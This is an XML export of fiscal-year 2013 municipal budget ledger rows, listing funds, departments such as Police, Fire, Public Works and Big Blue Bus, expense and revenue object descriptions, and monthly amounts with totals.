<row _id="1510"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>564</april><may>0</may><june>0.0</june><total>564.0</total></row>
<row _id="1511"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>27157.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>272</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>27429.0</total></row>
<row _id="1512"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>36625.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>366</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>36991.0</total></row>
<row _id="1513"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>8637.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>86</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>8723.0</total></row>
<row _id="1514"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>344.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>344.0</total></row>
<row _id="1515"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>8248.0</july><august>0</august><september>0.0</september><october>104.0</october><november>-104</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>8248.0</total></row>
<row _id="1516"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>504.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>504.0</total></row>
<row _id="1517"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2387.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-372</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2015.0</total></row>
<row _id="1518"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>5333.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-528</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4805.0</total></row>
<row _id="1519"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT CUSTOMER &amp; GOVT RELAT</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>3701.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>98</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3799.0</total></row>
<row _id="1520"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1155.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>33</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1188.0</total></row>
<row _id="1521"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>19358.0</july><august>-610</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-1220</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>17528.0</total></row>
<row _id="1522"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>30272.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>30272.0</total></row>
<row _id="1523"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>56903</april><may>0</may><june>0.0</june><total>56903.0</total></row>
<row _id="1524"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>307199.0</july><august>87032</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>173225</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>567456.0</total></row>
<row _id="1525"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT CUSTOMER &amp; GOVT RELAT</division_name><object>544111.0</object><object_description>PROMOTIONAL ITEMS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>6250.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6250.0</total></row>
<row _id="1526"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>522134.0</object><object_description>UTIL-WATER-PARKING AUTH</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>46577</april><may>0</may><june>0.0</june><total>46577.0</total></row>
<row _id="1527"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>8800</april><may>0</may><june>0.0</june><total>8800.0</total></row>
<row _id="1528"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>404090.0</object><object_description>LEASE RENTAL REVENUE</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2013</fiscal_year><july>-1715915.0</july><august>0</august><september>-40800.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-1756715.0</total></row>
<row _id="1529"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>405820.0</object><object_description>PROP C - BSIP</object_description><category_code>658.0</category_code><category_code_description>Sales Tax</category_code_description><fiscal_year>2013</fiscal_year><july>-738165.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-738165.0</total></row>
<row _id="1530"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>566910.0</object><object_description>MAINTENANCE-PARKING FACILITIES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>117360</april><may>0</may><june>0.0</june><total>117360.0</total></row>
<row _id="1531"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>875094.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>875094.0</total></row>
<row _id="1532"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>555200.0</object><object_description>REIMBURSE ENGINEERING OFFICE</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>51619.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>51619.0</total></row>
<row _id="1533"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>407410.0</object><object_description>CONSTRUCTION &amp; DEMOLITION</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-35000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-35000.0</total></row>
<row _id="1534"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>400400.0</object><object_description>FIELD CONCESSION &amp; STORAGE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-18247.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-18247.0</total></row>
<row _id="1535"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>407550.0</object><object_description>FIRE COMMERCIAL INSPECT FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-914000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-914000.0</total></row>
<row _id="1536"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>522961.0</object><object_description>FUEL-SERVICE VEHICLES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>100000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>100000.0</total></row>
<row _id="1537"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>606252.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>6063</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>612315.0</total></row>
<row _id="1538"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2234.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>1804</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4038.0</total></row>
<row _id="1539"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>6023.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>60</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6083.0</total></row>
<row _id="1540"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>575619.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>5756</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>581375.0</total></row>
<row _id="1541"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>4938.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>49</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4987.0</total></row>
<row _id="1542"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>11623.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>11623.0</total></row>
<row _id="1543"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>22970.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>22970.0</total></row>
<row _id="1544"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1686.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1686.0</total></row>
<row _id="1545"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>1647</april><may>0</may><june>0.0</june><total>1647.0</total></row>
<row _id="1546"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>302</division_id><division_name>ANIMAL CONTROL UNIT</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1244.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1244.0</total></row>
<row _id="1547"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>302</division_id><division_name>ANIMAL CONTROL UNIT</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>840.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>840.0</total></row>
<row _id="1548"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>9955.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>9955.0</total></row>
<row _id="1549"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>77114.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>771</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>77885.0</total></row>
<row _id="1550"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>10566.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>106</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10672.0</total></row>
<row _id="1551"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>209.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>209.0</total></row>
<row _id="1552"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>9913.0</july><august>0</august><september>0.0</september><october>75.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>9988.0</total></row>
<row _id="1553"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>26398.0</july><august>0</august><september>0.0</september><october>319.0</october><november>-319</november><december>0</december><january>0.0</january><february>264</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>26662.0</total></row>
<row _id="1554"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1536.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1536.0</total></row>
<row _id="1555"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>6028.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-112</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5916.0</total></row>
<row _id="1556"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>553.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-61</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>492.0</total></row>
